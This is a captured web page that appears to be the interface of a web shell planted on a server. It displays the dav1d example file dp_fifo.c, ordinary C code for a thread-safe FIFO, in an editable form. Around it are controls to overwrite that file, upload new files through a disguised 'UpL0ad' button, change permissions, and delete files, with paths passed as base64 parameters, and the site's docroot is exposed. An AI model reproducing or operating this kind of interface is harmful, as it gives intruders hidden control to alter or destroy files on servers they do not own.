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<hr>dp_fifo.c<form method=post action="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZHBfZmlmby5j"><input name="f" value="dp_fifo.c"><textarea name="t">/*
 * Copyright  2019, VideoLAN and dav1d authors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * 1. Redistributions of source code must retain the above copyright notice, this
 *    list of conditions and the following disclaimer.
 *
 * 2. Redistributions in binary form must reproduce the above copyright notice,
 *    this list of conditions and the following disclaimer in the documentation
 *    and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS &quot;AS IS&quot; AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
 * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
 * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
 * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
 * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
 * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include &lt;SDL.h&gt;
#include &lt;assert.h&gt;

#include &quot;dp_fifo.h&quot;

// FIFO structure
struct dp_fifo
{
    SDL_mutex *lock;
    SDL_cond *cond_change;
    size_t capacity;
    size_t count;
    void **entries;
    int push_wait;
    int flush;
};


Dav1dPlayPtrFifo *dp_fifo_create(size_t capacity)
{
    Dav1dPlayPtrFifo *fifo;

    assert(capacity &gt; 0);
    if (capacity &lt;= 0)
        return NULL;

    fifo = malloc(sizeof(*fifo));
    if (fifo == NULL)
        return NULL;

    fifo-&gt;capacity = capacity;
    fifo-&gt;count = 0;
    fifo-&gt;push_wait = 0;
    fifo-&gt;flush = 0;

    fifo-&gt;lock = SDL_CreateMutex();
    if (fifo-&gt;lock == NULL) {
        free(fifo);
        return NULL;
    }
    fifo-&gt;cond_change = SDL_CreateCond();
    if (fifo-&gt;cond_change == NULL) {
        SDL_DestroyMutex(fifo-&gt;lock);
        free(fifo);
        return NULL;
    }

    fifo-&gt;entries = calloc(capacity, sizeof(void*));
    if (fifo-&gt;entries == NULL) {
        dp_fifo_destroy(fifo);
        return NULL;
    }

    return fifo;
}

// Destroy FIFO
void dp_fifo_destroy(Dav1dPlayPtrFifo *fifo)
{
    assert(fifo-&gt;count == 0);
    SDL_DestroyMutex(fifo-&gt;lock);
    SDL_DestroyCond(fifo-&gt;cond_change);
    free(fifo-&gt;entries);
    free(fifo);
}

// Push to FIFO
void dp_fifo_push(Dav1dPlayPtrFifo *fifo, void *element)
{
    SDL_LockMutex(fifo-&gt;lock);
    while (fifo-&gt;count == fifo-&gt;capacity) {
        fifo-&gt;push_wait = 1;
        SDL_CondWait(fifo-&gt;cond_change, fifo-&gt;lock);
        fifo-&gt;push_wait = 0;
        if (fifo-&gt;flush) {
            SDL_CondSignal(fifo-&gt;cond_change);
            SDL_UnlockMutex(fifo-&gt;lock);
            return;
        }
    }
    fifo-&gt;entries[fifo-&gt;count++] = element;
    if (fifo-&gt;count == 1)
        SDL_CondSignal(fifo-&gt;cond_change);
    SDL_UnlockMutex(fifo-&gt;lock);
}

// Helper that shifts the FIFO array
static void *dp_fifo_array_shift(void **arr, size_t len)
{
    void *shifted_element = arr[0];
    for (size_t i = 1; i &lt; len; ++i)
        arr[i-1] = arr[i];
    return shifted_element;
}

// Get item from FIFO
void *dp_fifo_shift(Dav1dPlayPtrFifo *fifo)
{
    SDL_LockMutex(fifo-&gt;lock);
    while (fifo-&gt;count == 0)
        SDL_CondWait(fifo-&gt;cond_change, fifo-&gt;lock);
    void *res = dp_fifo_array_shift(fifo-&gt;entries, fifo-&gt;count--);
    if (fifo-&gt;count == fifo-&gt;capacity - 1)
        SDL_CondSignal(fifo-&gt;cond_change);
    SDL_UnlockMutex(fifo-&gt;lock);
    return res;
}

void dp_fifo_flush(Dav1dPlayPtrFifo *fifo, void (*destroy_elem)(void *))
{
    SDL_LockMutex(fifo-&gt;lock);
    fifo-&gt;flush = 1;
    if (fifo-&gt;push_wait) {
        SDL_CondSignal(fifo-&gt;cond_change);
        SDL_CondWait(fifo-&gt;cond_change, fifo-&gt;lock);
    }
    while (fifo-&gt;count)
        destroy_elem(fifo-&gt;entries[--fifo-&gt;count]);
    fifo-&gt;flush = 0;
    SDL_UnlockMutex(fifo-&gt;lock);
}
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/libdav1d-dev/examples<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2"/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&x=ZGF2MWRwbGF5LmM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZGF2MWRwbGF5LmM="/>dav1dplay.c</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZGF2MWRwbGF5LmM=&c=`+btoa(c):0" value="0644"></td><td>25274</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&x=ZHBfZmlmby5j">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZHBfZmlmby5j"/>dp_fifo.c</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZHBfZmlmby5j&c=`+btoa(c):0" value="0644"></td><td>4171</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&x=ZHBfZmlmby5o">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZHBfZmlmby5o"/>dp_fifo.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZHBfZmlmby5o&c=`+btoa(c):0" value="0644"></td><td>2392</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&x=ZHBfcmVuZGVyZXIuaA==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZHBfcmVuZGVyZXIuaA=="/>dp_renderer.h</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZHBfcmVuZGVyZXIuaA==&c=`+btoa(c):0" value="0644"></td><td>4352</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&x=ZHBfcmVuZGVyZXJfcGxhY2Viby5j">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZHBfcmVuZGVyZXJfcGxhY2Viby5j"/>dp_renderer_placebo.c</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZHBfcmVuZGVyZXJfcGxhY2Viby5j&c=`+btoa(c):0" value="0644"></td><td>12320</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&x=ZHBfcmVuZGVyZXJfc2RsLmM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZHBfcmVuZGVyZXJfc2RsLmM="/>dp_renderer_sdl.c</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=ZHBfcmVuZGVyZXJfc2RsLmM=&c=`+btoa(c):0" value="0644"></td><td>5085</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&x=bWVzb24uYnVpbGQ=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=bWVzb24uYnVpbGQ="/>meson.build</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2MvbGliZGF2MWQtZGV2L2V4YW1wbGVz&f=bWVzb24uYnVpbGQ=&c=`+btoa(c):0" value="0644"></td><td>2720</td></tr></table>